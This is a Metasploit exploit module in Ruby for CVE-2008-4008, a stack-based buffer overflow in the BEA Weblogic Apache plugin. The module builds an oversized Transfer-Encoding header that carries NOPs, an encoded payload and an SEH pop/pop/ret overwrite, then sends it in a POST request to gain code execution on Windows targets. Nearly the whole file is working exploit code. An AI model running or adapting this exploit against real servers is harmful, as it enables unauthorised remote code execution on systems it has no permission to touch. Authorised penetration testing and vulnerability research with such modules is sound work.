##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack based buffer overflow in the BEA
                Weblogic Apache plugin.  This vulnerability exists in the 
                error reporting for unknown Transfer-Encoding headers. 
                You may have to run this twice due to timing issues with handlers.
            },
      'Author'         => 'pusscat',
      'References'     =>
        [
          [ 'CVE', '2008-4008' ],
          [ 'OSVDB', '49283' ],
          [ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],

        ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                },
      'Privileged'     => true,
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0d\x0a",
                    'StackAdjustment' => -1500,

        },
      'Targets'        => 
        [
          [  'Windows Apache 2.2 version Universal',
            {
              'Ret' => 0x1001f4d6,    #pop/pop/ret
            }
          ],
        ],
      'DisclosureDate' => 'Sept 09 2008',
      'DefaultTarget'  => 0))
             register_options( [ Opt::RPORT(80) ], self.class )
  end

  def exploit
            sploit  = Rex::Text.rand_text_alphanumeric(5800, payload_badchars)
            sploit[5781, 8] = "\xeb\x06MC" + [target.ret].pack('V')
            sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
            sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded

            request = 
                "POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: " +
                sploit +
                "\r\n\r\n"
            
            handler
            connect
            sock.put(request);

            disconnect
  end

end